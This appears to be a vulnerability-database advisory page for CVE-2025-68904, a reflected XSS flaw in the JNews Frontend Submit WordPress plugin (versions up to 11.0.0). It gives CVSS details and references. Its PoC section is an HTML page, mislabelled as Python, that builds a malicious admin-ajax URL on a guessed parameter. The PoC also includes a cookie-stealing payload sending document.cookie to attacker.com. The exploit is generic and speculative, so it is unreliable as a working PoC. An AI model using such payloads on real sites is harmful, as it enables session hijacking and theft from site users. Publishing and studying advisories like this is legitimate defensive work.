CVE-2025-68904

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in jegtheme JNews - Frontend Submit jnews-frontend-submit allows Reflected XSS.This issue affects JNews - Frontend Submit: from n/a through <= 11.0.0.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

jnews-frontend-submit <= 11.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-68904 PoC - Reflected XSS in jnews-frontend-submit -->
<!-- Replace the XSS payload with your desired JavaScript code -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-68904 PoC</title>
</head>
<body>
    <h1>CVE-2025-68904 Reflected XSS PoC</h1>
    <p>Target: WordPress site with jnews-frontend-submit plugin <= 11.0.0</p>
    
    <script>
        // Malicious URL with XSS payload
        // The actual vulnerable parameter depends on the plugin's implementation
        var baseUrl = window.location.origin + '/wp-admin/admin-ajax.php';
        var xssPayload = '<script>alert("XSS - CVE-2025-68904")</script>';
        
        // Example attack URL structure
        var maliciousUrl = baseUrl + '?action=jnews_frontend_submit&param="' + encodeURIComponent(xssPayload) + '"';
        
        console.log('Malicious URL:', maliciousUrl);
        
        // Display the malicious link
        document.write('<p>Malicious URL: <a href="' + maliciousUrl + '" target="_blank">' + maliciousUrl + '</a></p>');
        
        // Cookie stealing payload example
        var cookieStealPayload = '<script>document.location="http://attacker.com/steal?c="+document.cookie</script>';
        console.log('Cookie stealing payload:', cookieStealPayload);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68904
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68904
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68904/
[4] VulDB https://vuldb.com/cve/CVE-2025-68904
[5] https://patchstack.com/database/Wordpress/Plugin/jnews-frontend-submit/vulnerability/wordpress-jnews-frontend-submit-plugin-11-0-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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